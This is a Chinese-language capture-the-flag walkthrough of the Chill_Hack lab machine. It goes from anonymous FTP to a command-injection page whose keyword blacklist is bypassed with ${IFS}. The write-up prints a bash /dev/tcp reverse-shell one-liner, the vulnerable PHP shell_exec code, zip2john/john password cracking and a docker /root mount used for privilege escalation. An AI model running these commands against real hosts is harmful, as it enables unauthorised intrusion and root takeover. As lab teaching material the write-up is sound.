Chill_Hack
信息搜集
存活检测
-
arp-scan -l
详细扫描
-
扫描结果
显示允许 ftp 匿名链接
FTP 匿名登录
-
匿名登陆 ftp 下载文件并查看
anonymous@10.4.7.139
下载命令
get note.txt
-
查看文件
译
Anurodh告诉我,在命令 Apaar 中有一些字符串过滤
后台扫描
-
扫描结果
命令绕过
-
查看 secret 秘密网页
-
出现一个命令框
尝试输入命令
whoami
输入命令
ls
弹出警示界面,结合之前 ftp 获取的信息,命令存在字符串过滤,尝试绕过
-
尝试
/bin/ls
可以使用命令
-
猜测其对一些关键词进行了过滤
-
反弹 shell(我看的攻略,目前不知道具体的过滤规则,在后面反弹 shell 成功后,查看源码时分析绕过原理)
bash -c 'bash -i >& /dev/tcp/10.4.7.132/8888 0>&1' # 替换空格 bash${IFS}-c${IFS}'bash${IFS}-i${IFS}>&${IFS}/dev/tcp/10.4.7.132/8888 0>&1'
-
连接成功
使用 script 回显
/usr/bin/script -qc /bin/bash /dev/null
提权
命令绕过原理
-
此时可以看到 index.php 中的命令注入过滤规则
/var/www/html/secret /index.php
删除了不重要的渲染后留下了过滤原理字段
<html> <body> <form method="POST"> <input id="comm" type="text" name="command" placeholder="Command"> <button>Execute</button> </form> <?php if(isset($_POST['command'])) { $cmd = $_POST['command']; //输入的指令(包括空格)传入到变量 $cmd 中 $store = explode(" ",$cmd); //以空格为分隔符,将每个字符串存入到 $store 数组 $blacklist = array('nc', 'python', 'bash','php','perl','rm','cat','head','tail','python3','more','less','sh','ls'); //过滤的关键字 for($i=0; $i<count($store); $i++) //比较数组中每个字符串,如果和过滤的字符之一匹配,则直接 return,不执行任何命令 { for($j=0; $j<count($blacklist); $j++) { if($store[$i] == $blacklist[$j]) {?> <h1 style="color:red;">Are you a hacker?</h1> <?php return; } } } // 若没有匹配到过滤的关键字,则执行输入的指令 ?><h2 style="color:blue;"><?php echo shell_exec($cmd);?></h2> <?php } ?> </body> </html>
-
因为以空格为分隔符,将分隔出的字符串与过滤的关键字匹配,可以使用
${IFS}
绕过Linux 中
${IFS}
可以代替空格可以看到二者效果相同
-
所以只需在过滤的关键字旁边使用
${IFS}
代替空格就可实现过滤的绕过bash${IFS}-c 'bash -i >& /dev/tcp/10.4.7.132/8888 0>&1'
密码获取
-
sudo -l
查看权限允许 apaar 用户使用
-
文件 /var/www/files 下提示
-
靶机开启新的 http 服务,供 kali 下载图片分析
-
提取隐写文件
steghide extract -sf hacker-with-laptop_23-2147985341.jpg
-
解压文件
提示输入密码
-
密码爆破
zip2john backup.zip > backup.john # 将名为 backup.zip 的 ZIP 文件的密码哈希提取出来,并将结果保存到名为 backup.john 的文件中
john --wordlist=/usr/share/wordlists/rockyou.txt backup.john
成功破解密码 pass1word
-
解压并查看
-
base64 解密
IWQwbnRLbjB3bVlwQHNzdzByZA== # 结果 !d0ntKn0wmYp@ssw0rd
-
ssh 登录 apaar 用户失败
-
在家目录下找到其他两个用户,尝试登录
成功登录
docker 逃逸提权
-
依旧无 suid 权限
-
上传漏洞扫描文件
运行
-
查看 docker 镜像
docker images
-
提权
docker run -it -v /root:/mnt alpine
在容器中运行 Alpine 镜像,并将主机的
/root
目录挂载到容器的/mnt
目录。具体来说,命令的各个部分的含义如下:
-
docker run
:运行一个 Docker 容器。 -
-it
:创建一个交互式的终端会话,并分配一个伪终端。 -
-v /root:/mnt
:将主机的/root
目录挂载到容器的/mnt
目录。容器中的
/mnt
目录将显示主机中/root
目录的内容,并且对/mnt
目录的更改将反映在主机的/root
目录中。 -
alpine
:指定要运行的容器镜像,这里是 Alpine 镜像。alpine 容器提供了一个基于 Alpine Linux 的最小化运行环境
通过这个命令,可以在 Alpine 容器中访问和操作主机上的
/root
目录中的文件和目录。提权成功
-
总结
命令绕过
隐写
docker 逃逸提权
-
首先使用命令:docker images
用于查看本地已下载的镜像REPOSITORY # 镜像仓库 TAG # 镜像标签 IMAGE ID # 镜像ID CREATED # 镜像创建时间 SIZE # 镜像大小
-
如果不存在,
就可以先下载个镜像,然后把 root 文件夹挂载到上面使用命令
docker run alpine chroot
来下载镜像文件;
(不存在docker镜像情况下使用) -
将root文件夹挂载在上面
docker run -it -v /root:/mnt alpine
将文件夹挂载到mnt文件夹
-
Docker挂载命令逃逸:
-v /root(需要挂载得目录):/abc(新建挂载目录) 参数 -v 将容器外部的目录 / 挂载到容器内部
因为 docker 环境运行得时候是需要 root 权限的,所以可以实现提权的目的;